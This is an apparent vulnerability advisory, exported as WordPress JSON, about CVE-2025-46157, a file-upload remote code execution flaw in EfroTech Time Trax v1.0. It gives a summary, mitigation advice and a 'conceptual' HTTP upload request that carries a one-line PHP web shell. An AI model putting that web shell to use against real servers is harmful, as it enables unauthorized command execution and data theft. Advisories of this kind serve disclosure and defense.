{"id":55081,"date":"2025-06-25T07:48:07","date_gmt":"2025-06-25T07:48:07","guid":{"rendered":""},"modified":"2025-10-03T12:32:27","modified_gmt":"2025-10-03T18:32:27","slug":"cve-2025-46157-remote-code-execution-vulnerability-in-efrotech-time-trax","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-46157-remote-code-execution-vulnerability-in-efrotech-time-trax\/","title":{"rendered":"<strong>CVE-2025-46157: Remote Code Execution Vulnerability in EfroTech Time Trax<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape has been riddled recently with another high-severity vulnerability, CVE-2025-46157, affecting EfroTech&#8217;s Time Trax v.1.0 software. This vulnerability allows for remote code execution by an attacker, leading to potential system compromise or data leakage. As Time Trax is widely used for managing company time and attendance, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49847-buffer-overflow-vulnerability-in-llama-cpp-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"62604\">vulnerability could potentially<\/a> affect a wide range of organizations, from small businesses to large corporations, putting sensitive data at risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-46157<br \/>\nSeverity: Critical (CVSS: 9.9)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64254\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4045247682\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>EfroTech Time Trax | v.1.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6065-arbitrary-file-deletion-vulnerability-in-image-resizer-on-the-fly-wordpress-plugin\/\"  data-wpil-monitor-id=\"61424\">vulnerability exists in the file<\/a> attachment function of the leave request form in Time Trax. An attacker can exploit this vulnerability by sending a malicious script or file which, when processed by the application, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28386-remote-code-execution-vulnerability-in-openc3-cosmos-v6-0-0\/\"  data-wpil-monitor-id=\"61439\">executes arbitrary code<\/a>. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49181-unauthorized-api-endpoint-access-leading-to-denial-of-service-and-data-leakage\/\"  data-wpil-monitor-id=\"61717\">lead to an attacker gaining unauthorized<\/a> control over the system or the leakage of sensitive information.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4219568777\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a hypothetical example of how an attacker might exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"62146\">vulnerability using an HTTP POST request to upload<\/a> a malicious file:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/fileUpload\/leaveRequest HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/php\n&lt;?php\necho shell_exec($_GET[&#039;cmd&#039;]);\n?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker uploads a PHP script that allows them to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33112-local-arbitrary-code-execution-vulnerability-in-ibm-aix-and-vios-perl\/\"  data-wpil-monitor-id=\"61988\">execute arbitrary<\/a> shell commands on the server. The attacker could then run any command by simply sending a GET request to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47559-unrestricted-file-upload-vulnerability-in-romancode-mapsvg\/\"  data-wpil-monitor-id=\"62334\">uploaded file<\/a> with their command as a parameter.<\/p>\n<p><strong>Mitigation and Prevention<\/strong><\/p>\n<p>Until EfroTech <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-35115-critical-system-package-download-vulnerability-in-agiloft-release-28\/\"  data-wpil-monitor-id=\"85335\">releases a patch to fix this vulnerability<\/a>, organizations can mitigate the risk by implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out malicious requests. Regularly auditing and updating security protocols, as well as educating employees on the importance of <a href=\"https:\/\/www.ameeba.com\/blog\/introducing-the-ameeba-cybersecurity-group-chat\/\"  data-wpil-monitor-id=\"88411\">cybersecurity<\/a>, can also help prevent such exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape has been riddled recently with another high-severity vulnerability, CVE-2025-46157, affecting EfroTech&#8217;s Time Trax v.1.0 software. This vulnerability allows for remote code execution by an attacker, leading to potential system compromise or data leakage. As Time Trax is widely used for managing company time and attendance, this vulnerability could potentially affect a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55081","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55081","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55081"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55081\/revisions"}],"predecessor-version":[{"id":81223,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55081\/revisions\/81223"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55081"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55081"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55081"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55081"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55081"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55081"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55081"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55081"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55081"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}